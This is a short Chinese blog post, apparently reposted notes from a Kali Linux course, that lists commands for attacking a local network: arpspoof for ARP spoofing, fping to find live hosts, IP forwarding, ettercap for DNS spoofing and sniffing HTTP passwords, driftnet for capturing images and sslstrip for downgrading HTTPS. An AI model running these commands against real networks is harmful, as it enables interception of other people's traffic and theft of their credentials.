# kali linux视频春秋,kali linux内网称霸（滑稽）（仅从实战视频和自己摸索得出）...

转载

weixin_30160357 于 2021-05-13 19:07:21 发布 14 收藏
文章标签： kali linux视频春秋
arp欺骗

arpspoof -i 网卡 -t 目标ip 网关(断网：目标ip流量经过我的网卡　欺骗：目标ip流量经过我的网卡，从网关出去)

fping -asg(或-ag足够)192.168.1.0/24(查看局域网内所有用户ip，-asg=-a -s -g)(-a:show targets that are alive，-s:print final stats)(-g:generate target list可指定目标的开始和结束IP， 或者提供ip的子网掩码,例如fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24)

echo 1 >/proc/sys/net/ipv4/ip_forward(开启流量转发，配合arp断网形成arp欺骗)(cat /proc.....查看内容，1为命令执行成功)(echo写命令不会有回显)

ettercap -Tq -i 网卡(DNS欺骗 流量嗅探　　-Tq=-T -q，启动文本模式，-q安静模式:不显示每个目标的结果)(arp欺骗时用于http帐号密码获取，如果要验证码就抓不到)

driftnet -i 网卡(获取本机网卡的图片)

sslstrip -a -f -k(把https链接降级为http链接)

欺骗成功后windows命令提示符arp -a查看物理地址，被攻击者网关物理地址与攻击者物理地址一致，因为被攻击者ip流量经过攻击者网卡转出网关，所以攻击者ip地址相当于被攻击者的网关(个人理解)。

此文章学自i春秋kali linux免费教程。